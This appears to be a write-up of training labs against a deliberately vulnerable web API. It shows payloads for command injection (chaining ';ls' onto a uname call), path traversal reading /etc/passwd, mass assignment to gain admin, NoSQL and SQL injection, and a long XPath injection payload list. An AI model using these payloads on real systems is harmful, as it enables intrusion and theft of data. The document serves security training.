DVWS — Training Labs

API Command Injection

The admin.html page loads up information about the host in the response. It's using the linux uname system command for this. Let's see if we can modify our chain commands to this request to get command injection

As we can see adding the ;ls to the uname response allows us to get command injection on this host. Replacing the uname with another command also works in this case.

API LFI

01{"filename":"/../../../../../../../../etc/passwd"}

API Mass Assignment

When we login we can see admin=false value. We now have an idea of which paramaters the API allows. We can attempt a mass assignment attack with the admin=true in potentially either a login request or a user creation request.

Let's add the admin value

As as we intercept the response to our request, our new user is now set up as a admin!

API NOSQL Injection

01{"search":"a'||'a'=='a"}

API SQL Injection

01{"passphrase":"465d51506b57487d78567d5d55457379","reminder":"Hiii'"}

API XPath Injection

If it uses a framework or a CMS that use XML as a data storage format or if the application uses SOAP web services, you should test for XPath injection.

Test in:

Query string paramater, ex: http://example.com/page?name=value cookies, ex: Cookie: session=1234567890; query=' or sleep(5)=' Path paramaters, ex:http://example.com/page/value (So like this: http://example.com/page/' or sleep(5)=' Form Fields

http://example.com/search?query=' or sleep(5)='

POST /search HTTP/1.1 Host: example.com Content-Type: application/x-www-form-urlencoded

query=' or sleep(5)='

' or sleep(5)='' " or sleep(5)="" ' or 1=1 or ''=' " or 1=1 or ""=" ' or sleep(5)=' 'or'1'='1 'or'true()'or' a' or true() or '

' or '1'='1 ' or ''=' x' or 1=1 or 'x'='y / // //* / @* count(/child::node()) x' or name()='username' or 'x'='y ' and count(/)=1 and '1'='1 ' and count(/@)=1 and '1'='1 ' and count(/comment())=1 and '1'='1 search=')] | //user/[contains(,' search=Har') and contains(../password,'c search=Har') and starts-with(../password,'c ' or 1]%00

Modified